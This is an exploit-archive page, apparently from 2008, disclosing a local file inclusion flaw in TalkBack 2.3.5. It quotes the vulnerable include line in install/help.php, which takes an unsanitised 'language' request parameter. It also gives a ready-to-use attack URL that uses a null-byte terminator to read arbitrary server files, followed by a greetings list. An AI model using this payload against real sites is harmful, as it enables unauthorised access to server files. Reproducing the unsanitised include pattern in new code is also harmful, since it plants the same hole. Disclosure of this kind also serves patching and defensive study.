[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : TalkBack 2.3.5 (language) Local File Inclusion Vulnerability
# Published : 2008-07-28
# Author : NoGe
# Previous Title : Galatolo Web Manager 1.3a <= XSS / Remote SQL Injection Vulnerability
# Next Title : Dokeos E-Learning System 1.8.5 Local File Inclusion Vulnerability 


=============================================================================================================

  [o] TalkBack 2.3.5 Local File Inclusion Vulnerability

       Software : TalkBack version 2.3.5
       Vendor   : http://www.scripts.oldguy.us/talkback
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com

=============================================================================================================

  [o] Vulnerable file

       install/help.php

        include "../language/{$_REQUEST['language']}.php";



  [o] Exploit

       http://localhost/[path]/install/help.php?language=[LFI]%00


=============================================================================================================

  [o] Greetz

       supported by irc.nob0dy.net
       skulmatic olibekas ulga Cungkee nyubi k1tk4t str0ke
       H312Y yooogy mousekill }^-^{ martfella
       okegay OoN_Gay pagay (sungguh penyembunyian sebuah karakter dibalik makna kata) /me brb ngakak..  :) 
 
=============================================================================================================

# www.Syue.com [2008-07-28]